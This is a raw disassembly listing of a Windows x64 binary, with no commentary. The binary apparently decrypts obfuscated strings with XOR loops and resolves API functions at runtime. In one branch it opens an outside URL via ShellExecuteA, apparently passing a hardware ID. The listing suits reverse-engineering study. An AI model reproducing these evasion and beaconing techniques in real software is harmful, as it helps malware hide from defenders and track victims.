lea rdx, [rbp - 0x80]
call fcn.140022a80
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001cd05
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cd00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001cd00
call fcn.140046c64
int3
call fcn.140037c50
mov rcx, qword [rbp + 0x78]
add rcx, 0x58
cmp qword [rcx + 0x18], 0xf
jbe 0x14001cd17
mov rcx, qword [rcx]
xor edx, edx
mov r8d, reloc.WS2_32.dll_recv
call fcn.1400418c4
lea r15, [fcn.140022a20]
mov qword [rsp + 0x20], r15
lea r9, [0x140022d80]
mov edx, 0x20
mov r8d, 5
lea rcx, [rbp + 0x120]
call fcn.1400383c4
nop
movzx eax, word [0x140070974]
mov word [rbp + 0x50], ax
mov byte [rbp + 0x50], 0x7c
xor byte [rbp + 0x51], 0x32
mov rcx, qword [rbp + 0x78]
add rcx, 0x58
cmp qword [rcx + 0x18], 0xf
jbe 0x14001cd74
mov rcx, qword [rcx]
call fcn.1400497dc
mov rcx, rax
lea rdx, [rbp + 0x50]
call fcn.14003fd1c
test rax, rax
je 0x14001ce95
lea rsi, [rbp + 0x120]
nop word [rax + rax]
mov rbx, rsi
add rsi, 0x20
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rdi
mov qword [rbp], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001cdc0
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140029b10
lea rax, [rbp - 0x18]
cmp rbx, rax
je 0x14001ce2a
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14001ce19
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14001ce14
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001cf82
mov rcx, r8
call fcn.140037c50
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 8]
movups xmmword [rbx + 0x10], xmm1
jmp 0x14001ce65
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14001ce65
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001cf82
call fcn.140037c50
movzx eax, word [0x140070974]
mov word [rbp + 0x48], ax
cmp byte [0x140070975], 0
je 0x14001ce81
mov byte [rbp + 0x48], 0x7c
xor byte [rbp + 0x49], 0x32
lea rdx, [rbp + 0x48]
xor ecx, ecx
call fcn.14003fd1c
test rax, rax
jne 0x14001cda0
mov rax, qword [str.bGPWPED8]
mov qword [rsp + 0x50], rax
cmp r14d, 2
jl 0x14001cf88
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14001cfc3
call fcn.140046c64
int3
lea r9, [rsp + 0x50]
mov r8d, edi
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14001cf90
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x120]
call fcn.1400226a0
cmp rax, 0xffffffffffffffff
je 0x14001d1c9
lea rdx, [0x14009edb0]
lea rcx, [rbp - 0x80]
call fcn.140022c20
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140037b10
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140028c80
movzx ebx, al
lea rcx, [rbp - 0x60]
call fcn.140022a20
test bl, bl
je 0x14001d02c
lea rdx, [0x14006ef7a]
lea rcx, [rbp + 0x140]
call fcn.1400229d0
lea rcx, [rbp + 0x140]
call fcn.140022790
mov rcx, rax
xor edx, edx
mov r8d, reloc.WS2_32.dll_recv
call fcn.140041978
mov rbx, rax
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x80]
call fcn.140022c60
mov rdx, rax
mov rcx, qword [0x14009efc0]
mov rcx, qword [rcx + 0x60]
call rbx
lea rdx, [rsp + 0x60]
call fcn.14001f600
mov r11, rax
cmp byte [rax + 0xb], 0
je 0x14001d19f
cmp r14d, 2
jl 0x14001d160
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm7, xmm0
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd eax, xmm10
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [r11]
xorps xmm7, xmm0
movd dword [r11], xmm7
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm11, xmm0
movd dword [r11 + 4], xmm11
mov edi, 8
movsxd r10, edi
add r10, r11
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, dil
sub al, cl
add al, 0x31
xor byte [r10], al
inc edi
lea r10, [r10 + 1]
cmp edi, 0xc
jl 0x14001d170
mov rcx, r11
call fcn.140001840
call rax
nop
mov r9, r15
mov edx, 0x20
mov r8d, 5
lea rcx, [rbp + 0x120]
call fcn.140038080
jmp 0x14001f5de
mov eax, dword [str.t_A_G6]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140070c1c]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], 0x45
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
xor byte [rsp + 0x55], 0x36
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x120]
call fcn.1400226a0
cmp rax, 0xffffffffffffffff
je 0x14001d6d0
mov dword [rbp + 0x50], edi
lea rdx, [rbp - 0x60]
call fcn.14001f620
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14001d383
mov r8d, edi
cmp r14d, 2
jl 0x14001d343
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001d250
cmp r8d, 0x1d
jge 0x14001d383
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14001d350
mov rcx, r10
call fcn.140001840
call rax
mov r15d, eax
lea rdx, [rbp - 0x40]
call fcn.14001f680
mov rsi, rax
cmp byte [rax + 0x20], 0
je 0x14001d4f3
mov r8d, edi
cmp r14d, 2
jl 0x14001d4b4
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001d3c1
cmp r8d, 0x21
jge 0x14001d4f3
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001d4c0
lea rdx, [rbp + 0x48]
call fcn.14001f660
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14001d513
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x58]
call fcn.14001f650
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14001d683
cmp r14d, 2
jl 0x14001d63d
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001d550
jmp 0x14001d683
mov r9, r10
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001d650
mov rcx, r10
call fcn.140001840
mov dword [rsp + 0x48], 1
lea rdx, [rbp + 0x50]
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], 0x32
mov qword [rsp + 0x20], rsi
mov r9d, recv
mov r8, rbx
mov edx, r15d
xor ecx, ecx
call rax
mov ecx, 1
call fcn.14003fd10
int3
movsd xmm0, qword [str.yezpycvoux]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140070c90]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x140070c94]
mov byte [rsp + 0x6c], al
mov r8d, edi
cmp r14d, 2
jl 0x14001d7dd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.yezpycvoux]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001d7f0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.1400226a0
cmp rax, 0xffffffffffffffff
je 0x14001dd16
mov dword [rbp + 0x50], edi
lea rdx, [rbp - 0x60]
call fcn.14001f620
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14001d9a3
mov r8d, edi
cmp r14d, 2
jl 0x14001d965
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001d872
cmp r8d, 0x1d
jge 0x14001d9a3
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14001d970
mov rcx, r10
call fcn.140001840
call rax
mov r15d, eax
lea rdx, [rbp - 0x60]
call fcn.14001f6b0
mov rsi, rax
cmp byte [rax + 0x13], 0
je 0x14001db13
mov r8d, edi
cmp r14d, 2
jl 0x14001dad4
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001d9e1
cmp r8d, 0x14
jge 0x14001db13
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14001dae0
lea rdx, [rbp + 0x48]
call fcn.14001f660
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14001db33
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor al, 0x33
mov byte [rbx + 2], al
lea rdx, [rbp + 0x58]
call fcn.14001f650
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14001dca3
cmp r14d, 2
jl 0x14001dc5d
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14001db70
jmp 0x14001dca3
mov r9, r10
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001dc70
mov rcx, r10
call fcn.140001840
mov dword [rsp + 0x48], 1
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], 0x32
mov qword [rsp + 0x20], rsi
mov r9d, recv
mov r8, rbx
mov edx, r15d
xor ecx, ecx
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.https:__bungben.com__pagerehwid
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call fcn.14003fd10
int3
movsd xmm0, qword [str.usguycvoux]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400706f8]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x1400706fc]
mov byte [rsp + 0x6c], al
mov r8d, edi
cmp r14d, 2
jl 0x14001de23
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.usguycvoux]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001de30
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.1400226a0
cmp rax, 0xffffffffffffffff
je 0x14001e356
mov dword [rbp + 0x50], edi
lea rdx, [rbp - 0x60]
call fcn.14001f620
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14001dfe3
mov r8d, edi
cmp r14d, 2
jl 0x14001dfa5
movdqa xmmword [rsp + 0x50], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001deb2
cmp r8d, 0x1d
jge 0x14001dfe3
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
